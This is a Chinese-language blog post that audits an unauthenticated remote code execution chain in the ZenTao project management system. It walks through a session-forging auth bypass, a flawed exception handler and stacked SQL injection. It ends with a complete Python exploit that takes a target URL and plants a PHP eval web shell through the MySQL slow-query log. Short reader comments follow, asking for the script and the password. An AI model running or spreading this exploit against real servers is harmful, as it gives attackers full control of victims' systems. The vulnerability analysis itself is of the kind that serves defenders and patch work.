昨天微步上发布了关于禅道研发项⽬管理系统未授权RCE漏洞的信息
影响范围:
- v17.4<= 禅道 <= v18.0.beta1(开源版)
- v3.4<= 禅道 <= v4.0.beta1(旗舰版)
- v7.4<= 禅道 <= v8.0.beta1(企业版)
我于是选择了开源吧18.0bata1的程序下载下来审计
其中关键部分在于权限绕过
framework\base\control.class.php
if($this->config->installed && !in_array($this->moduleName, $this->config->openModules) && empty($this->app->user) && !$this->loadModel('common')->isOpenMethod($this->moduleName, $this->methodName)) { $uri = $this->app->getURI(true); if($this->moduleName == 'message' and $this->methodName == 'ajaxgetmessage') { $uri = helper::createLink('my'); } elseif(helper::isAjaxRequest()) { die(json_encode(array('result' => false, 'message' => $this->lang->error->loginTimeout))); } $referer = helper::safe64Encode($uri); die(js::locate(helper::createLink('user', 'login', "referer=$referer"))); }
可以发现这一部分的代码在开头进行权限判断时候
empty($this->app->user)
只判断了user不为空即可
其中user的信息主要存在session中,所以只要能构造一个user的键即可
然后对允许访问的模块和方法进行审计发现了在misc模块的captcha方法中可以伪造session只能控制键不能控制值,正好可以用来绕过权限认证
\module\misc\control.php
public function captcha($sessionVar = 'captcha', $uuid = '') { $obLevel = ob_get_level(); for($i = 0; $i < $obLevel; $i++) ob_end_clean(); header('Content-Type: image/jpeg'); $captcha = $this->app->loadClass('captcha'); $this->session->set($sessionVar, $captcha->getPhrase()); $captcha->build()->output(); }
之后又到了权限验证部分
判断完成之后用die进行处理来到了这一部分
\module\convert\model.php
public function checkPriv()
catch(EndResponseException $endResponseException) { echo $endResponseException->getContent(); }
其中这个就是权限不满足时候执行的,原本这时候应该就要结束了,但是这里采用的是echo 所以导致了可以继续执行代码,所以只要上面的验证绕过,这里就可以继续执行。
在官方发布的新版中这里修改为了die
die($endResponseException->getContent());
代码不能继续执行了
权限认证绕过之后,发现可以访问一部分代码,在对后台的功能审计时候发现,在导入数据时候的数据库判断存在sql注入
\module\convert\model.php
public function dbExists($dbName = '') { $sql = "SHOW DATABASES like '{$dbName}'"; return $this->dbh->query($sql)->fetch(); }
public function connectDB($dbName = '') { $dsn = "mysql:host={$this->config->db->host}; port={$this->config->db->port};dbname={$dbName}"; try { $dbh = new PDO($dsn, $this->config->db->user, $this->config->db->password); $dbh->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ); $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $dbh->exec("SET NAMES {$this->config->db->encoding}"); $this->sourceDBH = $dbh; return $dbh; } catch (PDOException $exception) { return $exception->getMessage(); } }
发现show语句中存在sql注入,然后根据连接方法connectDB判断可以在sql中构造堆叠注入。
然后就可以直接在数据库中添加管理员账号,进一步操作。
拿到禅道的管理员权限后就简单多了,后台可利用方法有兴趣自己研究下。
(rce的脚本github已经公布我补充下我当时sql的后续方法吧QAQ我是小菜鸡)
如果在sql的基础上继续利用可以直接尝试写shell
在官方一键安装中使用的默认数据库是root
但是secure_file_priv的值为空所以这个行不通了
但是既然是root用户可以利用慢查询写shell
只要知道物理路径就可以了
正好在前一步的sql中构造错误的sql可以暴漏物理路径
直接写shell
exp:
import re import requests class exp(object): def __init__(self, url): self.url = url self.headers = {"Referer": self.url} self.type = 1 self.routes = { "a": ['/index.php?m=misc&f=captcha&sessionVar=user&uuid=1', '/index.php?m=convert&f=importNotice'], "b": ['/misc-captcha-user-1.html', '/convert-importNotice.html'] } self.route() self.init() self.path = self.getPath() def route(self): res = requests.get(self.url) if "user-login" in res.text: self.type = "b" else: self.type = "a" def init(self): res = requests.get(self.url + self.routes[self.type][0]) self.headers['cookie'] = res.headers.get("Set-cookie") + ";XDEBUG_SESSION=PHPSTORM" def sql(self, data): data = { "dbName": f"';{data}#" } res = requests.post(self.url + self.routes[self.type][1], headers=self.headers, data=data) return res.text def getPath(self): res = self.sql("'xx") data = re.findall('#0 (.+?)module',res) return data[0] + "www/" def shell(self): # 0x3c3f706870206576616c28245f504f53545b277861697478275d293b <?php eval($_POST['xaitx']); data = f"set global slow_query_log=1;set global slow_query_log_file='{self.path}www/shell.php'; select '<?php eval($_POST[\"xaitx\"]);' or sleep(11);#" res = self.sql(data) if __name__ == '__main__': print("--------------------------------------------\n" "v17.4<= 禅道 <= v18.0.beta1(开源版)\n" "v3.4 <= 禅道 <= v4.0.beta1(旗舰版)\n" "v7.4 <= 禅道 <= v8.0.beta1(企业版)\n" "--------------------------------------------") url = input("url:") a = exp(url) a.shell() print("写入成功\n" f"url:{a.path}/shell.php\n" "密码:xaitx")
文章有(4)条网友点评
wdsrry
请问一下大神,禅道这个RCE脚本在github怎么找啊
来个密码康总
密码多少康神